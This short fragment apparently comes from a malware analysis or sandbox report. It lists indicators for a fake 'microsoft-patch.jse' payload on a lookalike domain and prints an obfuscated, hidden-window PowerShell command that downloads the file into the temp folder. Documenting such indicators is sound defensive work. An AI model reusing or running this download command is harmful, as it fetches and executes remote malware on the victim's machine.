Technical Information
- http+s://ael3rzdnet.org/5090443106800/1520098825749763/microsoft-patch.jse as $d
- DNS ASK ae###zdnet.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1592774104633.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://ael3rzdnet.org/5090443106800/1520098825749763/microsoft-patch.jse',...' (with hidden window)